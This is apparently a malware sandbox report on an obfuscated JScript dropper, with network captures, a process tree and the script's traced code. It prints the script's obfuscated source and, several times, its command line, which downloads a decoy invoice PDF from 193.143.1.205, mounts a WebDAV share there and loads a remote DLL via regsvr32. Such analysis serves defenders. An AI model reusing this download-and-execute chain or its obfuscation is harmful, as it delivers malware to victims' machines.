Jan 11, 2025 06:44:56.384279013 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 06:44:56.384315014 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:44:56.384354115 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:44:56.384390116 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:44:56.384426117 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 06:44:56.384460926 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 11, 2025 06:44:56.389456987 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7856	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:44:57.876950026 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:44:58.666292906 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:44:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:44:52
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js"
Imagebase:	0x7ff638880000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:44:53
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll
Imagebase:	0x7ff694190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:44:53
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:44:53
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:44:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	00:44:57
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff694190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:44:57
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff623bc0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:44:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	00:44:58
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:44:58
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,14776943152426068880,9895503189276820385,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lvigf() {	lvigf() ➔ undefined
1	czjtmms = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qppmth = this[icwnl + qkqko + gyguerwv + ahleviehe + omrln + ihrqptsgs + krncivmg + uhjtwy] ( this[mvsklwr + ctdzt + sofjxzcof + gyguerwv + ceacpgpzl + icwnl + uhjtwy][kzjkn + gyguerwv + omrln + qkqko + uhjtwy + omrln + tbygflq + cnplkrhp + ytbbtdd + omrln + sofjxzcof + uhjtwy] ( mvsklwr + ctdzt + sofjxzcof + gyguerwv + ceacpgpzl + icwnl + uhjtwy + kwnpp + ctdzt + sqsndk + omrln + pnefuyohq + pnefuyohq ) [gluiluh + omrln + pmshquuz + gluiluh + omrln + qkqko + csxucyv] ( mfnttnfiw + ufkzl + vtpcvvgxk + vzswfbdq + jvnhghxj + kzjkn + nksndmk + gluiluh + gluiluh + vtpcvvgxk + wqgpnad + pkndv + jvnhghxj + nksndmk + ctdzt + vtpcvvgxk + gluiluh + ifeknj + kzjkn + pngekn + krncivmg + uhjtwy + gyguerwv + pngekn + pnefuyohq + zxzka + mhiixde + qkqko + krncivmg + omrln + pnefuyohq + ifeknj + ihrqptsgs + krncivmg + uhjtwy + omrln + gyguerwv + krncivmg + qkqko + uhjtwy + ceacpgpzl + pngekn + krncivmg + qkqko + pnefuyohq + ifeknj + lgivn + pngekn + sofjxzcof + qkqko + pnefuyohq + omrln ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jquyipl = 0 ; jquyipl < czjtmms[pnefuyohq + omrln + krncivmg + pmshquuz + uhjtwy + sqsndk] ; ++ jquyipl )
4	{
5	if ( qppmth == czjtmms[jquyipl] )
6	{
7	qppmth = true;
8	break ;
9	}
10	}
11	if ( qppmth !== true )
12	this[mvsklwr + ctdzt + sofjxzcof + gyguerwv + ceacpgpzl + icwnl + uhjtwy][havvv + kzsdnmwxl + ceacpgpzl + uhjtwy] ( );
13	this[mvsklwr + ctdzt + sofjxzcof + gyguerwv + ceacpgpzl + icwnl + uhjtwy][kzjkn + gyguerwv + omrln + qkqko + uhjtwy + omrln + tbygflq + cnplkrhp + ytbbtdd + omrln + sofjxzcof + uhjtwy] ( mvsklwr + ctdzt + sofjxzcof + gyguerwv + ceacpgpzl + icwnl + uhjtwy + kwnpp + ctdzt + sqsndk + omrln + pnefuyohq + pnefuyohq ) [gyguerwv + kzsdnmwxl + krncivmg] ( sofjxzcof + ikaqxu + csxucyv + zxzka + zpcbuzm + sofjxzcof + zxzka + icwnl + pngekn + msrrvhnn + omrln + gyguerwv + ahleviehe + sqsndk + omrln + pnefuyohq + pnefuyohq + kwnpp + omrln + kuhxhd + omrln + zxzka + abbnyo + kzjkn + pngekn + ikaqxu + ikaqxu + qkqko + krncivmg + csxucyv + zxzka + ytcgqiv + ihrqptsgs + krncivmg + zbpyf + pngekn + rpjdcpvxv + omrln + abbnyo + mvsklwr + omrln + cnplkrhp + gluiluh + omrln + dwzju + kzsdnmwxl + omrln + ahleviehe + uhjtwy + zxzka + abbnyo + tbygflq + kzsdnmwxl + uhjtwy + hjmmtfz + ceacpgpzl + pnefuyohq + omrln + zxzka + ogodnc + uhjtwy + omrln + ikaqxu + icwnl + ogodnc + ifeknj + ceacpgpzl + krncivmg + zbpyf + pngekn + ceacpgpzl + sofjxzcof + omrln + kwnpp + icwnl + csxucyv + moljcanr + zxzka + sqsndk + uhjtwy + uhjtwy + icwnl + dnryqu + zpcbuzm + zpcbuzm + laxmrw + bsmef + cdlybcai + kwnpp + laxmrw + ygvdxsw + cdlybcai + kwnpp + laxmrw + kwnpp + leiott + oskerjxbn + xqnfd + zpcbuzm + ceacpgpzl + krncivmg + zbpyf + pngekn + ceacpgpzl + sofjxzcof + omrln + kwnpp + icwnl + sqsndk + icwnl + ytcgqiv + hindgzjbd + hindgzjbd + ahleviehe + uhjtwy + qkqko + gyguerwv + uhjtwy + zxzka + ogodnc + uhjtwy + omrln + ikaqxu + icwnl + ogodnc + ifeknj + ceacpgpzl + krncivmg + zbpyf + pngekn + ceacpgpzl + sofjxzcof + omrln + kwnpp + icwnl + csxucyv + moljcanr + hindgzjbd + hindgzjbd + sofjxzcof + ikaqxu + csxucyv + zxzka + zpcbuzm + sofjxzcof + zxzka + krncivmg + omrln + uhjtwy + zxzka + kzsdnmwxl + ahleviehe + omrln + zxzka + ifeknj + ifeknj + laxmrw + bsmef + cdlybcai + kwnpp + laxmrw + ygvdxsw + cdlybcai + kwnpp + laxmrw + kwnpp + leiott + oskerjxbn + xqnfd + gmorh + vflcgkuln + vflcgkuln + vflcgkuln + vflcgkuln + ifeknj + csxucyv + qkqko + zbpyf + msrrvhnn + msrrvhnn + msrrvhnn + gyguerwv + pngekn + pngekn + uhjtwy + ifeknj + hindgzjbd + hindgzjbd + sofjxzcof + ikaqxu + csxucyv + zxzka + zpcbuzm + sofjxzcof + zxzka + gyguerwv + omrln + pmshquuz + ahleviehe + zbpyf + gyguerwv + cdlybcai + leiott + zxzka + zpcbuzm + ahleviehe + zxzka + ifeknj + ifeknj + laxmrw + bsmef + cdlybcai + kwnpp + laxmrw + ygvdxsw + cdlybcai + kwnpp + laxmrw + kwnpp + leiott + oskerjxbn + xqnfd + gmorh + vflcgkuln + vflcgkuln + vflcgkuln + vflcgkuln + ifeknj + csxucyv + qkqko + zbpyf + msrrvhnn + msrrvhnn + msrrvhnn + gyguerwv + pngekn + pngekn + uhjtwy + ifeknj + leiott + ygvdxsw + xqnfd + xqnfd + leiott + leiott + aeetuzn + aeetuzn + vflcgkuln + oskerjxbn + leiott + leiott + jyhafpxtm + bsmef + ygvdxsw + kwnpp + csxucyv + pnefuyohq + pnefuyohq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll",0,false) ➔ 0
14	}
15	mfnttnfiw = "M";
16	mfnttnfiw = "d";
17	mfnttnfiw = "B";
18	mfnttnfiw = "b";
19	mfnttnfiw = "k";
20	mfnttnfiw = "s";
21	mfnttnfiw = "q";
22	mfnttnfiw = "n";
23	mfnttnfiw = "O";
24	mfnttnfiw = "A";
25	mfnttnfiw = "W";
26	mfnttnfiw = "j";
27	mfnttnfiw = "e";
28	mfnttnfiw = "V";
29	mfnttnfiw = "w";
30	mfnttnfiw = "X";
31	mfnttnfiw = "U";
32	mfnttnfiw = "H";
33	zpcbuzm = "L";
34	zpcbuzm = "q";
35	zpcbuzm = "W";
36	zpcbuzm = "R";
37	zpcbuzm = "W";
38	zpcbuzm = "a";
39	zpcbuzm = "/";
40	mvsklwr = "o";
41	mvsklwr = "W";
42	mvsklwr = "G";
43	mvsklwr = "W";
44	aeetuzn = "7";
45	hjmmtfz = "z";
46	hjmmtfz = "j";
47	hjmmtfz = "P";
48	hjmmtfz = "C";
49	hjmmtfz = "R";
50	hjmmtfz = "x";
51	hjmmtfz = "R";
52	hjmmtfz = "s";
53	hjmmtfz = "I";
54	hjmmtfz = "s";
55	hjmmtfz = "q";
56	hjmmtfz = "V";
57	hjmmtfz = "F";
58	pnefuyohq = "r";
59	pnefuyohq = "I";
60	pnefuyohq = "t";
61	pnefuyohq = "w";
62	pnefuyohq = "V";
63	pnefuyohq = "G";
64	pnefuyohq = "D";
65	pnefuyohq = "h";
66	pnefuyohq = "l";
67	pnefuyohq = "s";
68	pnefuyohq = "e";
69	pnefuyohq = "k";
70	pnefuyohq = "j";
71	pnefuyohq = "A";
72	pnefuyohq = "l";
73	omrln = "E";
74	omrln = "r";
75	omrln = "o";
76	omrln = "S";
77	omrln = "n";
78	omrln = "X";
79	omrln = "L";
80	omrln = "K";
81	omrln = "w";
82	omrln = "A";
83	omrln = "D";
84	omrln = "T";
85	omrln = "Y";
86	omrln = "W";
87	omrln = "v";
88	omrln = "c";
89	omrln = "j";
90	omrln = "f";
91	omrln = "Z";
92	omrln = "Y";
93	omrln = "Q";
94	omrln = "j";
95	omrln = "o";
96	omrln = "F";
97	omrln = "H";
98	omrln = "c";
99	omrln = "J";
100	omrln = "L";
101	omrln = "j";
102	omrln = "e";
103	tbygflq = "G";
104	tbygflq = "i";
105	tbygflq = "b";
106	tbygflq = "G";
107	tbygflq = "w";
108	tbygflq = "h";
109	tbygflq = "Z";
110	tbygflq = "q";
111	tbygflq = "Z";
112	tbygflq = "d";
113	tbygflq = "n";
114	tbygflq = "s";
115	tbygflq = "P";
116	tbygflq = "F";
117	tbygflq = "N";
118	tbygflq = "U";
119	tbygflq = "O";
120	kuhxhd = "X";
121	kuhxhd = "B";
122	kuhxhd = "X";
123	kuhxhd = "A";
124	kuhxhd = "o";
125	kuhxhd = "k";
126	kuhxhd = "s";
127	kuhxhd = "m";
128	kuhxhd = "A";
129	kuhxhd = "m";
130	kuhxhd = "L";
131	kuhxhd = "U";
132	kuhxhd = "C";
133	kuhxhd = "A";
134	kuhxhd = "k";
135	kuhxhd = "N";
136	kuhxhd = "K";
137	kuhxhd = "V";
138	kuhxhd = "j";
139	kuhxhd = "E";
140	kuhxhd = "R";
141	kuhxhd = "D";
142	kuhxhd = "d";
143	kuhxhd = "R";
144	kuhxhd = "w";
145	kuhxhd = "L";
146	kuhxhd = "K";
147	kuhxhd = "S";
148	kuhxhd = "u";
149	kuhxhd = "K";
150	kuhxhd = "g";
151	kuhxhd = "P";
152	kuhxhd = "i";
153	kuhxhd = "N";
154	kuhxhd = "Q";
155	kuhxhd = "R";
156	kuhxhd = "y";
157	kuhxhd = "x";
158	mhiixde = "w";
159	mhiixde = "Y";
160	mhiixde = "C";
161	mhiixde = "d";
162	mhiixde = "Y";
163	mhiixde = "F";
164	mhiixde = "y";
165	mhiixde = "X";
166	mhiixde = "s";
167	mhiixde = "w";
168	mhiixde = "C";
169	mhiixde = "q";
170	mhiixde = "f";
171	mhiixde = "p";
172	mhiixde = "N";
173	mhiixde = "H";
174	mhiixde = "g";
175	mhiixde = "V";
176	mhiixde = "z";
177	mhiixde = "L";
178	mhiixde = "s";
179	mhiixde = "D";
180	mhiixde = "A";
181	mhiixde = "K";
182	mhiixde = "J";
183	mhiixde = "f";
184	mhiixde = "P";
185	kzsdnmwxl = "I";
186	kzsdnmwxl = "h";
187	kzsdnmwxl = "w";
188	kzsdnmwxl = "T";
189	kzsdnmwxl = "C";
190	kzsdnmwxl = "O";
191	kzsdnmwxl = "L";
192	kzsdnmwxl = "j";
193	kzsdnmwxl = "h";
194	kzsdnmwxl = "x";
195	kzsdnmwxl = "L";
196	kzsdnmwxl = "M";
197	kzsdnmwxl = "f";
198	kzsdnmwxl = "r";
199	kzsdnmwxl = "y";
200	kzsdnmwxl = "z";
201	kzsdnmwxl = "q";
202	kzsdnmwxl = "D";
203	kzsdnmwxl = "e";
204	kzsdnmwxl = "u";
205	leiott = "t";
206	leiott = "o";
207	leiott = "y";
208	leiott = "D";
209	leiott = "q";
210	leiott = "m";
211	leiott = "p";
212	leiott = "C";
213	leiott = "V";
214	leiott = "N";
215	leiott = "S";
216	leiott = "I";
217	leiott = "M";
218	leiott = "X";
219	leiott = "Z";
220	leiott = "e";
221	leiott = "r";
222	leiott = "I";
223	leiott = "l";
224	leiott = "b";
225	leiott = "q";
226	leiott = "u";
227	leiott = "w";
228	leiott = "T";
229	leiott = "p";
230	leiott = "G";
231	leiott = "J";
232	leiott = "s";
233	leiott = "2";
234	ogodnc = "Q";
235	ogodnc = "i";
236	ogodnc = "R";
237	ogodnc = "f";
238	ogodnc = "Y";
239	ogodnc = "l";
240	ogodnc = "o";
241	ogodnc = "R";
242	ogodnc = "g";
243	ogodnc = "f";
244	ogodnc = "w";
245	ogodnc = "d";
246	ogodnc = "x";
247	ogodnc = "v";
248	ogodnc = "g";
249	ogodnc = "E";
250	ogodnc = "b";
251	ogodnc = "%";
252	jyhafpxtm = "B";
253	jyhafpxtm = "L";
254	jyhafpxtm = "f";
255	jyhafpxtm = "m";
256	jyhafpxtm = "s";
257	jyhafpxtm = "W";
258	jyhafpxtm = "F";
259	jyhafpxtm = "P";
260	jyhafpxtm = "v";
261	jyhafpxtm = "W";
262	jyhafpxtm = "l";
263	jyhafpxtm = "v";
264	jyhafpxtm = "u";
265	jyhafpxtm = "U";
266	jyhafpxtm = "C";
267	jyhafpxtm = "s";
268	jyhafpxtm = "I";
269	jyhafpxtm = "F";
270	jyhafpxtm = "X";
271	jyhafpxtm = "u";
272	jyhafpxtm = "E";
273	jyhafpxtm = "X";
274	jyhafpxtm = "L";
275	jyhafpxtm = "6";
276	gyguerwv = "r";
277	vtpcvvgxk = "q";
278	vtpcvvgxk = "K";
279	vtpcvvgxk = "N";
280	vtpcvvgxk = "p";
281	vtpcvvgxk = "Y";
282	vtpcvvgxk = "W";
283	vtpcvvgxk = "g";
284	vtpcvvgxk = "C";
285	vtpcvvgxk = "s";
286	vtpcvvgxk = "b";
287	vtpcvvgxk = "Y";
288	vtpcvvgxk = "Z";
289	vtpcvvgxk = "w";
290	vtpcvvgxk = "q";
291	vtpcvvgxk = "z";
292	vtpcvvgxk = "l";
293	vtpcvvgxk = "C";
294	vtpcvvgxk = "p";
295	vtpcvvgxk = "E";
296	vtpcvvgxk = "g";
297	vtpcvvgxk = "Z";
298	vtpcvvgxk = "C";
299	vtpcvvgxk = "P";
300	vtpcvvgxk = "k";
301	vtpcvvgxk = "i";
302	vtpcvvgxk = "M";
303	vtpcvvgxk = "O";
304	vtpcvvgxk = "W";
305	vtpcvvgxk = "D";
306	vtpcvvgxk = "S";
307	vtpcvvgxk = "e";
308	vtpcvvgxk = "W";
309	vtpcvvgxk = "s";
310	vtpcvvgxk = "P";
311	vtpcvvgxk = "H";
312	vtpcvvgxk = "s";
313	vtpcvvgxk = "x";
314	vtpcvvgxk = "O";
315	vtpcvvgxk = "Q";
316	vtpcvvgxk = "l";
317	vtpcvvgxk = "N";
318	vtpcvvgxk = "b";
319	vtpcvvgxk = "r";
320	vtpcvvgxk = "c";
321	vtpcvvgxk = "E";
322	msrrvhnn = "F";
323	msrrvhnn = "k";
324	msrrvhnn = "L";
325	msrrvhnn = "F";
326	msrrvhnn = "P";
327	msrrvhnn = "A";
328	msrrvhnn = "f";
329	msrrvhnn = "g";
330	msrrvhnn = "W";
331	msrrvhnn = "k";
332	msrrvhnn = "x";
333	msrrvhnn = "t";
334	msrrvhnn = "y";
335	msrrvhnn = "w";
336	msrrvhnn = "T";
337	msrrvhnn = "K";
338	msrrvhnn = "m";
339	msrrvhnn = "k";
340	msrrvhnn = "m";
341	msrrvhnn = "R";
342	msrrvhnn = "p";
343	msrrvhnn = "a";
344	msrrvhnn = "Y";
345	msrrvhnn = "E";
346	msrrvhnn = "Y";
347	msrrvhnn = "F";
348	msrrvhnn = "E";
349	msrrvhnn = "M";
350	msrrvhnn = "B";
351	msrrvhnn = "n";
352	msrrvhnn = "m";
353	msrrvhnn = "W";
354	msrrvhnn = "f";
355	msrrvhnn = "B";
356	msrrvhnn = "q";
357	msrrvhnn = "Z";
358	msrrvhnn = "G";
359	msrrvhnn = "w";
360	pmshquuz = "g";
361	pmshquuz = "m";
362	pmshquuz = "g";
363	pmshquuz = "O";
364	pmshquuz = "r";
365	pmshquuz = "n";
366	pmshquuz = "R";
367	pmshquuz = "K";
368	pmshquuz = "V";
369	pmshquuz = "o";
370	pmshquuz = "g";
371	csxucyv = "R";
372	csxucyv = "N";
373	csxucyv = "M";
374	csxucyv = "A";
375	csxucyv = "k";
376	csxucyv = "P";
377	csxucyv = "A";
378	csxucyv = "U";
379	csxucyv = "Q";
380	csxucyv = "v";
381	csxucyv = "m";
382	csxucyv = "i";
383	csxucyv = "I";
384	csxucyv = "d";
385	csxucyv = "e";
386	csxucyv = "P";
387	csxucyv = "N";
388	csxucyv = "Q";
389	csxucyv = "J";
390	csxucyv = "r";
391	csxucyv = "d";
392	csxucyv = "I";
393	csxucyv = "J";
394	csxucyv = "B";
395	csxucyv = "d";
396	bsmef = "p";
397	bsmef = "P";
398	bsmef = "o";
399	bsmef = "M";
400	bsmef = "T";
401	bsmef = "g";
402	bsmef = "P";
403	bsmef = "9";
404	ctdzt = "N";
405	ctdzt = "P";
406	ctdzt = "B";
407	ctdzt = "v";
408	ctdzt = "x";
409	ctdzt = "b";
410	ctdzt = "E";
411	ctdzt = "L";
412	ctdzt = "L";
413	ctdzt = "V";
414	ctdzt = "b";
415	ctdzt = "x";
416	ctdzt = "l";
417	ctdzt = "D";
418	ctdzt = "j";
419	ctdzt = "s";
420	ctdzt = "j";
421	ctdzt = "e";
422	ctdzt = "t";
423	ctdzt = "P";
424	ctdzt = "N";
425	ctdzt = "t";
426	ctdzt = "P";
427	ctdzt = "N";
428	ctdzt = "d";
429	ctdzt = "n";
430	ctdzt = "T";
431	ctdzt = "m";
432	ctdzt = "q";
433	ctdzt = "f";
434	ctdzt = "d";
435	ctdzt = "y";
436	ctdzt = "y";
437	ctdzt = "S";
438	uhjtwy = "G";
439	uhjtwy = "x";
440	uhjtwy = "p";
441	uhjtwy = "e";
442	uhjtwy = "t";
443	uhjtwy = "O";
444	uhjtwy = "x";
445	uhjtwy = "D";
446	uhjtwy = "k";
447	uhjtwy = "U";
448	uhjtwy = "A";
449	uhjtwy = "T";
450	uhjtwy = "x";
451	uhjtwy = "s";
452	uhjtwy = "d";
453	uhjtwy = "P";
454	uhjtwy = "E";
455	uhjtwy = "W";
456	uhjtwy = "J";
457	uhjtwy = "o";
458	uhjtwy = "k";
459	uhjtwy = "b";
460	uhjtwy = "v";
461	uhjtwy = "y";
462	uhjtwy = "n";
463	uhjtwy = "w";
464	uhjtwy = "T";
465	uhjtwy = "z";
466	uhjtwy = "u";
467	uhjtwy = "G";
468	uhjtwy = "P";
469	uhjtwy = "v";
470	uhjtwy = "C";
471	uhjtwy = "l";
472	uhjtwy = "v";
473	uhjtwy = "v";
474	uhjtwy = "e";
475	uhjtwy = "f";
476	uhjtwy = "t";
477	xqnfd = "w";
478	xqnfd = "z";
479	xqnfd = "C";
480	xqnfd = "g";
481	xqnfd = "Y";
482	xqnfd = "H";
483	xqnfd = "a";
484	xqnfd = "u";
485	xqnfd = "D";
